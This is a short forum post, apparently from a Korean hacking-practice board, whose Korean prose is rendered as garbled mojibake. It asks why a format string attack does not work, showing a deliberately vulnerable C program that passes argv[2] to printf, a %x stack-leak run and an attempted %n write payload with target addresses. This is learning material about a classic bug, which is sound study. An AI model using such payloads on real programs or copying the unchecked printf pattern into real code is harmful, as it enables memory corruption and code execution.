½Ã½ºÅÛ ÇØÅ·

 1576, 1/79 ȸ¿ø°¡ÀÔ  ·Î±×ÀΠ 
   ewqqw
   format string ¹öÆÛ¿À¹öÇ÷οì

http://www.hackerschool.org/HS_Boards/zboard.php?AllArticle=true&no=1868 [º¹»ç]



#include <stdio.h>
#include <string.h>



int main(int argc,char *argv[]) {
        char buf1[100];

        strncpy(buf1,argv[1],100);

        printf(argv[2]);

        return 0;
}

formatstr@ubuntu:~$ ./formatstr AAAA '%x%x%x%x%x%x%x'
bffff7c3640bffff614bffff588bffff58041414141

format : 0xbffffe9f  <-- ȯ°æº¯¼ö[format] ÁÖ¼Ò

¿©±â¿¡¼­ ./formatstr AAAA\x9f\xfe\xff\xbfAAAA\xa1\xfe\xff\xbfAAAA%8x%8x%8x%8x%8x%8x%65054c%n%49565c%n ÀÌ·¸°Ô Çߴµ¥....

¾ÈµÇ³×¿ä.. ¤Ð¤Ð





  Hit : 2673     Date : 2017/04/22 04:34